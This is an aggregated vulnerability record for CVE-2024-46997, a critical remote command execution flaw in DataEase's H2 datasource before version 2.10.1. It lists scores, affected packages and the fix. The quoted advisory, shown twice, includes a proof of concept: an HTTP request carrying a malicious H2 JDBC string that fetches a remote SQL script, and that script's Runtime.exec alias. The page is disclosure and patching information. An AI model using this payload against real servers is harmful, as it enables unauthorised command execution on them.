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CVE-2024-46997

DataEase's H2 datasource has a remote command execution risk

9.8 CriticalFix available

DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

1.44%Up 1.4 points since Sep 24, 2024
90%50%10%1%

What each source reports

CVE List Score used 9.8

DataEase's H2 datasource has a remote command execution risk

DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.

Record
CVE-2024-46997
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-74
Updated
2026-11-02
EUVDEUVD-2024-2809 9.8

DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.

Record
EUVD-2024-2809
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-h7mj-m72h-qm8w 9.3

DataEase's H2 datasource has a remote command execution risk

Impact

An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.

request message:

POST /de2api/datasource/validate HTTP/1.1
Host: dataease.ubuntu20.vm
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-DE-TOKEN: jwt
Content-Length: 209
Content-Type: application/json

{
    "id": "",
    "name": "test",
    "type": "h2",
    "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ=="
}

h2 data source connection string:

// configuration
{
    "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);",
}

the content of poc.sql:

// poc.sql
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce')

You can see that the file was created successfully in docker:

/tmp # ls -l jdbch2rce 
-rw-r--r--    1 root     root             0 Sep 16 22:02 jdbch2rce

Affected versions: <= 2.10.0

Patches

The vulnerability has been fixed in v2.10.1.

Workarounds

It is recommended to upgrade the version to v2.10.1.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/dataease/dataease Email us at [email protected]

Record
GHSA-h7mj-m72h-qm8w
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-74
Updated
2026-11-02
NVD 9.8

DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.

Record
CVE-2024-46997
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-74
Updated
2026-11-02
OSV 9.8

DataEase's H2 datasource has a remote command execution risk

DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.

Record
CVE-2024-46997
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-74
Updated
2026-11-02
OSVGHSA-h7mj-m72h-qm8w 9.3

DataEase's H2 datasource has a remote command execution risk

Impact

An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.

request message:

POST /de2api/datasource/validate HTTP/1.1
Host: dataease.ubuntu20.vm
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-DE-TOKEN: jwt
Content-Length: 209
Content-Type: application/json

{
    "id": "",
    "name": "test",
    "type": "h2",
    "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ=="
}

h2 data source connection string:

// configuration
{
    "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);",
}

the content of poc.sql:

// poc.sql
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce')

You can see that the file was created successfully in docker:

/tmp # ls -l jdbch2rce 
-rw-r--r--    1 root     root             0 Sep 16 22:02 jdbch2rce

Affected versions: <= 2.10.0

Patches

The vulnerability has been fixed in v2.10.1.

Workarounds

It is recommended to upgrade the version to v2.10.1.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/dataease/dataease Email us at [email protected]

Record
GHSA-h7mj-m72h-qm8w
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-74
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
io.dataease:common
Maven
through 2.10.0
2.10.1
io.dataease:common
Maven
before 2.10.1
2.10.1

History

History
RecordedChangedSources
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-46997 is a critical vulnerability (CVSS 9.8) in Dataease, published September 23, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.44%, the 73rd percentile. Fixed in io.dataease:common 2.10.1.

References

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